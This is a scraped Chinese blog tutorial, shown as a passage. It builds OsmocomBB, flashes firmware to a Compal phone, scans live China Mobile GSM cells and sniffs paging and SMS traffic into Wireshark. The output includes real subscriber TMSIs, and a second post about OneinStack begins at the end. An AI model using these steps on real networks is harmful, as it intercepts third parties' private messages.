this.\r\n</pre>\r\n\u6309\u4efb\u610f\u952e\u5f00\u59cb\u6267\u884c\u6784\u5efa\uff0c\u76f4\u5230\u51fa\u73b0\u4ee5\u4e0b\u63d0\u793a\u4fe1\u606f\u5219\u6784\u5efa\u6210\u529f\r\n<pre class=\"brush:bash;\">Build complete! Add /home/kbdancer/armtoolchain/install/bin to your PATH to make arm-none-eabi-gcc and friends\r\naccessible directly.\r\n</pre>\r\n<p>\r\n\t\u6839\u636e\u63d0\u793a\u4fe1\u606f\u628a\u4e0a\u9762\u7684\u8def\u5f84\u6dfb\u52a0\u5230\u73af\u5883\u53d8\u91cf\u4e2d\uff0c\u73af\u5883\u53d8\u91cf\u5728/home/kbdancer/.bashrc\uff0c\u4f7f\u7528vim\u7f16\u8f91\u7136\u540e\u5c06\u4e0b\u9762\u7684\u8fd9\u884c\u6dfb\u52a0\u5230\u73af\u5883\u53d8\u91cf\r\n</p>\r\n<pre class=\"brush:bash;\">export PATH=$PATH:home/kbdancer/armtoolchain/install/bin</pre>\r\n\u8fd9\u91cc\u6ce8\u610f\u628a\u8def\u5f84\u6539\u6210\u4f60\u81ea\u5df1\u7684\uff0c\u7136\u540e\u6267\u884c\r\n<pre class=\"brush:bash;\">source /home/kbdancer/.bashrc</pre>\r\n<p>\r\n\t\u8ba9\u73af\u5883\u53d8\u91cf\u751f\u6548\uff0c\u63a5\u4e0b\u6765\u5c31\u53ef\u4ee5\u7f16\u8bd1osmocombb\u4e86\u3002\r\n</p>\r\n<h3>\r\n\t[2]\u3001\u7f16\u8bd1osmocombb\r\n</h3>\r\n<p>\r\n\t\u5f00\u59cb\u4e4b\u524d\u9700\u8981\u5b89\u88c5\u4e00\u4e9b\u5fc5\u8981\u7684\u4f9d\u8d56\u5305\r\n</p>\r\n<pre class=\"brush:bash;\">sudo apt install libtool shtool automake autoconf git-core pkg-config make gcc</pre>\r\n\u8fd9\u4e9b\u4f9d\u8d56\u5305\u662f\u7f16\u8bd1\u5fc5\u5907\u7684\u8f6f\u4ef6\u5305\uff0cosmocomBB\u9879\u76ee\u662f\u57fa\u4e8elibosmocore\u7684\uff0c\u6240\u4ee5\u8981\u5148\u641e\u5b9a libosmocore\uff0clibosmocore\u7684\u7f16\u8bd1\u5b89\u88c5\u4e5f\u6709\u4e00\u4e9b\u4f9d\u8d56\u9700\u8981\u5b89\u88c5\r\n<pre class=\"brush:bash;\">sudo apt-get install build-essential libtool libtalloc-dev shtool autoconf automake git-core pkg-config make gcc</pre>\r\n\u63a5\u4e0b\u6765\u8fd8\u5fc5\u987b\u5b89\u88c5\u4e00\u4e9b\u5e93\r\n<pre class=\"brush:bash;\">sudo apt-get install libpcsclite-dev</pre>\r\n\u4e0b\u9762\u5c31\u53ef\u4ee5\u628a\u4ee3\u7801\u540c\u6b65\u4e0b\u6765\u4e86\uff08<span style=\"color:#E53333;\">\u6ce8\u610f\uff1a\u8fd9\u91cc\u5982\u679c\u6ca1\u6709\u68af\u5b50\u7684\u8bdd\u901f\u5ea6\u975e\u5e38\u6162\uff0c\u6709\u65f6\u5019\u76f4\u63a5\u65e0\u6cd5\u8fde\u63a5\uff0c\u8bf7\u81ea\u884c\u51c6\u5907\u68af\u5b50</span>\uff09\r\n<pre class=\"brush:bash;\">git clone git://git.osmocom.org/libosmocore.git</pre>\r\n\u540c\u6b65\u4ee3\u7801\u4e4b\u540e\u5c31\u53ef\u4ee5\u7f16\u8bd1\u4e86\r\n<pre class=\"brush:bash;\">cd libosmocore/\r\nautoreconf -i\r\n./configure\r\nmake\r\nsudo make install\r\nsudo ldconfig -i\r\ncd ..</pre>\r\n<p>\r\n\t\u7f16\u8bd1\u5b89\u88c5\u5b8clibosmocore\u5c31\u53ef\u4ee5\u7ee7\u7eed\u7f16\u8bd1osmocombb\u4e86\uff0c\u9996\u5148\u540c\u6b65\u6700\u65b0\u4ee3\u7801\uff08<span style=\"color:#E53333;\">\u6ce8\u610f\uff1a\u8bf7\u81ea\u5907\u68af\u5b50</span>\uff09\r\n</p>\r\n<pre class=\"brush:bash;\">git clone git://git.osmocom.org/osmocom-bb.git\r\ncd osmocom-bb\r\ngit pull --rebase</pre>\r\n\u4ee3\u7801\u62c9\u53d6\u56de\u6765\u4e4b\u540e\u6267\u884c\u7f16\u8bd1\r\n<pre class=\"brush:bash;\">cd src\r\nmake</pre>\r\n\u5982\u679c\u4e00\u5207\u987a\u5229\u7684\u8bddosmocombb\u5c31\u7f16\u8bd1\u597d\u4e86\uff0c\u63a5\u4e0b\u6765\u5c31\u662f\u6d4b\u8bd5\u90e8\u5206\u4e86\r\n<h3>\r\n\t[3]\u3001\u8fd0\u884c\u6d4b\u8bd5\r\n</h3>\r\n<p>\r\n\t\u63d2\u4e0aUSB\u6570\u636e\u7ebf\u6267\u884c\u4e0b\u9762\u547d\u4ee4\u67e5\u770bUSB\u8bbe\u5907\u662f\u5426\u5b58\u5728\r\n</p>\r\n<pre class=\"brush:bash;\">$ lsusb\r\nBus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub\r\nBus 001 Device 003: ID 046a:0011 Cherry GmbH G83 (RS 6000) Keyboard\r\nBus 001 Device 002: ID 09da:c10a A4Tech Co., Ltd. \r\nBus 001 Device 008: ID 10c4:ea60 Cygnal Integrated Products, Inc. CP210x UART Bridge / myAVR mySmartUSB light\r\nBus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub\r\n</pre>\r\n\u535a\u4e3b\u8fd9\u91cc\u4f7f\u7528\u7684USB\u8f6cTTL\u6a21\u5757\u662fCP2102\uff0c\u7136\u540e\u6267\u884c\u4e0b\u9762\u7684\u547d\u4ee4\u8fde\u63a5\u624b\u673a\r\n<pre class=\"brush:bash;\">cd host/osmocon/\r\nsudo ./osmocon -p /dev/ttyUSB0 -m c123xor ../../target/firmware/board/compal_e88/layer1.compalram.bin</pre>\r\n\u7136\u540e\u8f7b\u89e6\u624b\u673a\u7684\u5f00\u673a\u952e\uff0c\u5c4f\u5e55\u4e0a\u4f1a\u663e\u793a\u5237\u5165\u56fa\u4ef6\u7684\u4e00\u4e9b\u4fe1\u606f\r\n<pre class=\"brush:bash;\">got 2 bytes from modem, data looks like: 04 81 ..\r\ngot 5 bytes from modem, data looks like: 1b f6 02 00 41 ....A\r\ngot 1 bytes from modem, data looks like: 01 .\r\ngot 1 bytes from modem, data looks like: 40 @\r\nReceived PROMPT1 from phone, responding with CMD\r\nread_file(../../target/firmware/board/compal_e88/layer1.compalram.bin): file_size=58484, hdr_len=4, dnload_len=58491\r\ngot 1 bytes from modem, data looks like: 1b .\r\ngot 1 bytes from modem, data looks like: f6 .\r\ngot 1 bytes from modem, data looks like: 02 .\r\ngot 1 bytes from modem, data looks like: 00 .\r\ngot 1 bytes from modem, data looks like: 41 A\r\ngot 1 bytes from modem, data looks like: 02 .\r\ngot 1 bytes from modem, data looks like: 43 C\r\nReceived PROMPT2 from phone, starting download\r\nhandle_write(): 4096 bytes (4096/58491)\r\nhandle_write(): 4096 bytes (8192/58491)\r\nhandle_write(): 4096 bytes (12288/58491)\r\nhandle_write(): 4096 bytes (16384/58491)\r\nhandle_write(): 4096 bytes (20480/58491)\r\nhandle_write(): 4096 bytes (24576/58491)\r\nhandle_write(): 4096 bytes (28672/58491)\r\nhandle_write(): 4096 bytes (32768/58491)\r\nhandle_write(): 4096 bytes (36864/58491)\r\nhandle_write(): 4096 bytes (40960/58491)\r\nhandle_write(): 4096 bytes (45056/58491)\r\nhandle_write(): 4096 bytes (49152/58491)\r\nhandle_write(): 4096 bytes (53248/58491)\r\nhandle_write(): 4096 bytes (57344/58491)\r\nhandle_write(): 1147 bytes (58491/58491)\r\nhandle_write(): finished\r\ngot 1 bytes from modem, data looks like: 1b .\r\ngot 1 bytes from modem, data looks like: f6 .\r\ngot 1 bytes from modem, data looks like: 02 .\r\ngot 1 bytes from modem, data looks like: 00 .\r\ngot 1 bytes from modem, data looks like: 41 A\r\ngot 1 bytes from modem, data looks like: 03 .\r\ngot 1 bytes from modem, data looks like: 42 B\r\nReceived DOWNLOAD ACK from phone, your code is running now!\r\nbattery_compal_e88_init: starting up\r\n\r\n\r\nOsmocomBB Layer 1 (revision osmocon_v0.0.0-1845-g363d4d2)\r\n======================================================================\r\nDevice ID code: 0xb4fb\r\nDevice Version code: 0x0000\r\nARM ID code: 0xfff3\r\ncDSP ID code: 0x0128\r\nDie ID code: cdc1111fdb00d7f0\r\n======================================================================\r\nREG_DPLL=0x2413\r\nCNTL_ARM_CLK=0xf0a1\r\nCNTL_CLK=0xff91\r\nCNTL_RST=0xfff3\r\nCNTL_ARM_DIV=0xfff9\r\n======================================================================\r\nPower up simcard:\r\n\r\n\r\nTHIS FIRMWARE WAS COMPILED WITHOUT TX SUPPORT!!!\r\nAssert DSP into Reset\r\nReleasing DSP from Reset\r\nSetting some dsp_api.ndb values\r\nSetting API NDB parameters\r\nDSP Download Status: 0x0001\r\nDSP API Version: 0x0000 0x0000\r\nFinishing download phase\r\nDSP Download Status: 0x0002\r\nDSP API Version: 0x3606 0x0000\r\nLOST 13!</pre>\r\n\u81f3\u6b64\u56fa\u4ef6\u5237\u5165\u6210\u529f\uff0c\u63a5\u7740\u6d4b\u8bd5ARFCN\u9891\u70b9\u626b\u63cf\uff0c\u65b0\u5f00\u4e00\u4e2a\u7ec8\u7aef\u7a97\u53e3\uff0c\u6267\u884c\u5982\u4e0b\u547d\u4ee4\uff08<span style=\"color:#E53333;\">\u6ce8\u610f\uff1a\u4e4b\u524d\u90a3\u4e2a\u5237\u5165\u56fa\u4ef6\u7684\u7a97\u53e3\u5168\u7a0b\u4e0d\u80fd\u5173\u95ed\uff0c\u5426\u5219\u624b\u673a\u548c\u7535\u8111\u7684\u8fde\u63a5\u5c31\u65ad\u5f00\u4e86</span>\uff09\uff0c\u5207\u6362\u5230 armtoolchain/osmocom-bb/src/host/layer23/src/misc/ \u76ee\u5f55\u6267\u884c\u5982\u4e0b\u547d\u4ee4\r\n<pre class=\"brush:bash;\">sudo ./cell_log -O</pre>\r\n\u4f1a\u770b\u5230\u5c4f\u5e55\u56de\u663e\u4fe1\u606f\r\n<pre class=\"brush:bash;\">Copyright (C) 2010 Andreas Eversberg\r\n\r\nLicense GPLv2+: GNU GPL version 2 or later <http://gnu.org/licenses/gpl.html>\r\nThis is free software: you are free to change and redistribute it.\r\nThere is NO WARRANTY, to the extent permitted by law.\r\n\r\n./cell_log: invalid option -- 'O'\r\nFailed to connect to '/tmp/osmocom_sap'\r\nFailed during sap_open(), no SIM reader\r\n<000e> cell_log.c:804 Scanner initialized\r\nMobile initialized, please start phone now!\r\n<000e> cell_log.c:368 Measure from 0 to 124\r\n<000e> cell_log.c:368 Measure from 512 to 885\r\n<000e> cell_log.c:368 Measure from 955 to 1023\r\n<000e> cell_log.c:359 Measurement done\r\n<000e> cell_log.c:341 Sync ARFCN 2 (rxlev -53, 567 syncs left)\r\n<000e> cell_log.c:191 Cell: ARFCN=2 MCC=460 MNC=00 (China, China Mobile)\r\n<000e> cell_log.c:341 Sync ARFCN 854 (rxlev -65, 566 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 3 (rxlev -66, 565 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 110 (rxlev -66, 564 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 1 (rxlev -69, 563 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 28 (rxlev -69, 562 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 48 (rxlev -71, 561 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 802 (rxlev -72, 560 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 801 (rxlev -73, 559 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 808 (rxlev -73, 558 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 814 (rxlev -73, 557 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 827 (rxlev -73, 556 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 795 (rxlev -74, 555 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 797 (rxlev -74, 554 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 800 (rxlev -74, 553 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 804 (rxlev -74, 552 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 805 (rxlev -74, 551 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 807 (rxlev -74, 550 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 810 (rxlev -74, 549 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 811 (rxlev -74, 548 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 813 (rxlev -74, 547 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 815 (rxlev -74, 546 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 817 (rxlev -74, 545 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 818 (rxlev -74, 544 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 828 (rxlev -74, 543 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 830 (rxlev -74, 542 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 840 (rxlev -74, 541 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 791 (rxlev -75, 540 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 794 (rxlev -75, 539 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 798 (rxlev -75, 538 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 816 (rxlev -75, 537 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 820 (rxlev -75, 536 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 821 (rxlev -75, 535 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 823 (rxlev -75, 534 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 824 (rxlev -75, 533 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 826 (rxlev -75, 532 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 834 (rxlev -75, 531 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 836 (rxlev -75, 530 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 837 (rxlev -75, 529 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 839 (rxlev -75, 528 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 843 (rxlev -75, 527 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 58 (rxlev -76, 526 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 74 (rxlev -76, 525 syncs left)\r\n<000e> cell_log.c:191 Cell: ARFCN=74 MCC=460 MNC=00 (China, China Mobile)\r\n<000e> cell_log.c:341 Sync ARFCN 792 (rxlev -76, 524 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 799 (rxlev -76, 523 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 803 (rxlev -76, 522 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 812 (rxlev -76, 521 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 825 (rxlev -76, 520 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 829 (rxlev -76, 519 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 831 (rxlev -76, 518 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 833 (rxlev -76, 517 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 841 (rxlev -76, 516 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 70 (rxlev -77, 515 syncs left)\r\n<000e> cell_log.c:191 Cell: ARFCN=70 MCC=460 MNC=00 (China, China Mobile)\r\n<000e> cell_log.c:341 Sync ARFCN 76 (rxlev -77, 514 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 793 (rxlev -77, 513 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 806 (rxlev -77, 512 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 819 (rxlev -77, 511 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 832 (rxlev -77, 510 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 838 (rxlev -77, 509 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 842 (rxlev -77, 508 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 844 (rxlev -77, 507 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 846 (rxlev -77, 506 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 847 (rxlev -77, 505 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 850 (rxlev -77, 504 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 852 (rxlev -77, 503 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 853 (rxlev -77, 502 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 856 (rxlev -77, 501 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 5 (rxlev -78, 500 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 822 (rxlev -78, 499 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 849 (rxlev -78, 498 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 855 (rxlev -78, 497 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 857 (rxlev -78, 496 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 19 (rxlev -79, 495 syncs left)\r\n<000e> cell_log.c:191 Cell: ARFCN=19 MCC=460 MNC=00 (China, China Mobile)\r\n<000e> cell_log.c:341 Sync ARFCN 20 (rxlev -79, 494 syncs left)\r\n<000e> cell_log.c:341 Sync ARFCN 73 (rxlev -79, 493 syncs left)</pre>\r\n\u535a\u4e3b\u8fd9\u91cc\u662f\u4f7f\u7528\u7684\u4e3b\u5206\u652f\u7684\u4ee3\u7801\uff0c\u5176\u4ed6\u5206\u652f\u5bf9\u4e8e\u626b\u63cf\u548c\u55c5\u63a2\u90e8\u5206\u6709\u4e0d\u540c\u7684\u5904\u7406\u65b9\u5f0f\uff0c\u9700\u8981\u7684\u670b\u53cb\u53ef\u4ee5\u53c2\u8003\u5b98\u65b9\u6587\u6863\u5207\u6362\u5230\u5176\u4ed6\u5206\u652f\u6d4b\u8bd5\uff0c\u6211\u8fd9\u91cc\u9009\u62e9\u4e00\u4e2aARFCN\u4e3a2\u7684\u9891\u70b9\u8fdb\u884c\u55c5\u63a2\u3002\r\n<p>\r\n\tCTRL+C\u7ed3\u675f\u6389ARFCN\uff08\u6ce8\u610f\uff1a\u6709\u7684\u5206\u652f\u4e0d\u9700\u8981\u624b\u52a8\u7ed3\u675f\uff0c\u626b\u63cf\u5b8c\u6210\u4e4b\u540e\u4f1a\u81ea\u52a8\u7ed3\u675f\uff09\uff0c\u76f4\u63a5\u5982\u4e0b\u547d\u4ee4\u8fdb\u884c\u55c5\u63a2\u6d4b\u8bd5\r\n</p>\r\n<pre class=\"brush:bash;\">sudo ./ccch_scan -i 127.0.0.1 -a 2</pre>\r\n\u4f1a\u770b\u5230\u5982\u4e0b\u56de\u663e\r\n<pre class=\"brush:bash;\">Copyright (C) 2010 Harald Welte <laforge@gnumonks.org>\r\nContributions by Holger Hans Peter Freyther\r\n\r\nLicense GPLv2+: GNU GPL version 2 or later <http://gnu.org/licenses/gpl.html>\r\nThis is free software: you are free to change and redistribute it.\r\nThere is NO WARRANTY, to the extent permitted by law.\r\n\r\nFailed to connect to '/tmp/osmocom_sap'\r\nFailed during sap_open(), no SIM reader\r\n<0001> app_ccch_scan.c:415 PCH pdisc != RR\r\n<0001> app_ccch_scan.c:438 unknown PCH/AGCH type 0x2b\r\n<0001> app_ccch_scan.c:352 Paging1: Normal paging chan tch/h to TMSI M(0x5d5c3920) \r\n<0001> app_ccch_scan.c:355 Paging2: Normal paging chan any to TMSI M(0x3f48a7ed) \r\n<0001> app_ccch_scan.c:378 Paging3: Normal paging chan n/a to tmsi M(3601270982) \r\n<0001> app_ccch_scan.c:312 Paging1: Normal paging chan sdch to tmsi M(2084053213) \r\n<0001> app_ccch_scan.c:415 PCH pdisc != RR\r\n<0001> app_ccch_scan.c:438 unknown PCH/AGCH type 0x2b\r\n<0001> app_ccch_scan.c:415 PCH pdisc != RR\r\n<0001> app_ccch_scan.c:438 unknown PCH/AGCH type 0x2b\r\n<0001> app_ccch_scan.c:312 Paging1: Normal paging chan any to tmsi M(3516964967) \r\n<0001> app_ccch_scan.c:75 SI1 received.\r\n<0001> app_ccch_scan.c:415 PCH pdisc != RR\r\n<0001> app_ccch_scan.c:438 unknown PCH/AGCH type 0x2b\r\n<0001> app_ccch_scan.c:415 PCH pdisc != RR\r\n<0001> app_ccch_scan.c:438 unknown PCH/AGCH type 0x2b\r\n<0001> app_ccch_scan.c:312 Paging1: Normal paging chan any to tmsi M(3936876559) \r\n<0001> app_ccch_scan.c:312 Paging1: Normal paging chan tch/h to tmsi M(1647379545) \r\n<0001> app_ccch_scan.c:415 PCH pdisc != RR\r\n<0001> app_ccch_scan.c:438 unknown PCH/AGCH type 0x2b\r\n</pre>\r\n\u4e0d\u8981\u5173\u95ed\u8fd9\u4e2a\u7a97\u53e3\uff0c\u4f7f\u7528\u7ba1\u7406\u5458\u6743\u9650\u6253\u5f00wireshark\u8f6f\u4ef6\uff0c\u5982\u679c\u6ca1\u6709\u8fd9\u4e2a\u8f6f\u4ef6\u8bf7\u81ea\u884c\u5b89\u88c5\uff0c\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\u6253\u5f00\r\n<pre class=\"brush:bash;\">sudo wireshark</pre>\r\n\u4f60\u4f1a\u770b\u5230\u4e00\u4e2a\u62a5\u9519\u4fe1\u606f\r\n<pre class=\"brush:bash;\">Lua: Error during loading:\r\n [string \"/usr/share/wireshark/init.lua\"]:44: dofile has been disabled due to running Wireshark as superuser. See https://wiki.wireshark.org/CaptureSetup/CapturePrivileges for help in running Wireshark as an unprivileged user.</pre>\r\n\u4e0d\u8981\u60ca\u614c\uff0c\u70b9\u51fbOK\u6309\u94ae\u5373\u53ef\uff0c\u7136\u540e\u53cc\u51fb Loopback:lo\u63a5\u53e3\u8fdb\u884c\u6d41\u91cf\u89e3\u6790\uff0c\u5982\u4e0b\u56fe\u6240\u793a<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=560\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201710/143a231aa8fc33b5ec3afd310c01b8da.png\" alt=\"2017-10-24 13-57-26\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 80.14 KB - \u5c3a\u5bf8: 752 x 576 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"752\" height=\"576\"></a></div>\u63a5\u7740\u4f60\u4f1a\u770b\u5230\u5237\u5237\u5237\u5f88\u591a\u4fe1\u606f\u90fd\u662f\u89e3\u6790\u7684GSMTAP\u6570\u636e\u5305\uff0c\u8fd9\u91cc\u6211\u4eec\u9700\u8981\u5bf9\u6570\u636e\u7c7b\u578b\u8fdb\u884c\u8fc7\u6ee4\uff0c\u5728\u4e0a\u9762\u7684\u8f93\u5165\u6846\u4e2d\u8f93\u5165gsm_sms\u8fdb\u884c\u8fc7\u6ee4\u3002\r\n<p>\r\n\t</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=561\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201710/91730bd2287c42944832a00103d17b6a.png\" alt=\"2017-10-24 13-58-16\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 248 KB - \u5c3a\u5bf8: 940 x 853 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"817\"></a></div>\r\n\r\n<p>\r\n\t\u5269\u4e0b\u7684\u5c31\u662f\u7b49\u5f85\u77ed\u4fe1\u7684\u5230\u6765\r\n</p>\r\n<h2>\r\n\t\u540e\u8bb0\r\n</h2>\r\n<p>\r\n\t\u6587\u4e2d\u53ea\u662f\u5f88\u7b80\u5355\u7684\u63cf\u8ff0\u4e86osmocombb\u7684\u5e38\u89c4\u7f16\u8bd1\u6d4b\u8bd5\u6d41\u7a0b\uff0c\u8fd8\u6709\u5f88\u591a\u7ec6\u8282\u9700\u8981\u670b\u53cb\u4eec\u81ea\u5df1\u53bb\u63a2\u7d22\uff0c\u6bd4\u5982\u5176\u4ed6\u5206\u652f\u7684\u5207\u6362\uff0csms\u6570\u636e\u5305\u5185\u5bb9\u7684\u89e3\u8bfb\uff0c\u9047\u5230\u7f16\u8bd1\u62a5\u9519\u600e\u4e48\u89e3\u51b3\uff0c\u5237\u5165\u56fa\u4ef6\u5931\u8d25\u7b49\u7b49\uff0c\u8fd9\u4e9b\u95ee\u9898\u90fd\u662f\u5f88\u7ecf\u5e38\u9047\u5230\u7684\uff0c\u5e0c\u671b\u5927\u5bb6\u5728\u73a9\u7684\u65f6\u5019\u6162\u6162\u6298\u817e\u3002\r\n</p>\r\n<p>\r\n\t\u8fd9\u91cc\u535a\u4e3b\u9700\u8981\u8bf4\u660e\u4e00\u4e0b\uff0cosmocombb\u9879\u76ee\u5e76\u4e0d\u4e00\u5b9a\u975e\u5f97\u5728kali linux\u4e0b\u9762\u624d\u80fd\u8dd1\uff0c\u5176\u4ed6\u7684Linux\u53d1\u884c\u7248\u672c\u4f9d\u7136\u8dd1\u7684\u5f88\u987a\uff0c\u6bd4\u5982\u535a\u4e3b\u7528\u7684Linux Mint\u5c31\u4e00\u6b21\u6027\u7f16\u8bd1\u901a\u8fc7\uff0c\u6ca1\u6709\u51fa\u4efb\u4f55\u95ee\u9898\uff0c\u5e0c\u671b\u5927\u5bb6\u4e0d\u8981\u88ab\u8bef\u5bfc\u3002\r\n</p>\r\n<h2>\r\n\t\u81f4\u8c22\r\n</h2>\r\n<p>\r\n\thttps://osmocom.org/projects/baseband/wiki/GnuArmToolchain\r\n</p>\r\n<p>\r\n\thttps://osmocom.org/projects/baseband/wiki/Software_Getting_Started\r\n</p>\r\n<p>\r\n\thttps://osmocom.org/projects/libosmocore/wiki/Libosmocore\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23458 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["Kali Linux \u5b89\u88c5 OneinStack"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-10-23, 3:45 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u7ecf\u9a8c\u5206\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\tOneinStack \u662f\u4e00\u6b3e\u975e\u5e38\u68d2\u7684\u4e00\u952e\u90e8\u7f72web\u670d\u52a1\u7684\u96c6\u6210\u5305\uff0c\u4e4b\u524d\u535a\u4e3b\u4e00\u76f4\u4f7f\u7528\u4e00\u952elnmp\u5305\u8fdb\u884c\u5feb\u901f\u914d\u7f6e\u73af\u5883\uff0c\u4e0eOneinStack\u4e0d\u540c\u7684\u662f\uff0c\u4e00\u952elnmp\u4f7f\u7528php-fpm\u6765\u5904\u7406php\u8bf7\u6c42\uff0c\u800cOneinStack\u5219\u662f\u628aphp\u8bf7\u6c42\u8f6c\u53d1\u7ed9httpd\u5904\u7406\uff0c\u5f53\u7136OneinStack\u53ef\u4ee5\u76f4\u63a5\u90e8\u7f72nginx + httpd + \r\nphp + tomcat + ftp + mysql \r\n\u7b49\u7b49\u5f88\u5b9e\u7528\u7684\u8f6f\u4ef6\uff0c\u4e24\u6b3e\u96c6\u6210\u5305\u7684\u76f8\u540c\u70b9\u662f\u90fd\u652f\u6301\u4e3b\u6d41\u7684Linux\u64cd\u4f5c\u7cfb\u7edf\uff0c\u7edd\u5927\u90e8\u5206\u7684VPS\u670d\u52a1\u5668\u90fd\u80fd\u987a\u5229\u8dd1\u8d77\u6765\uff0c\u4f46\u662f\u6bd4\u8f83\u9057\u61be\u7684\u662flnmp\u548cOneinStack\u4f3c\u4e4e\u90fd\u4e0d\u80fd\u76f4\u63a5\u5b89\u88c5\u5230Kali\r\n 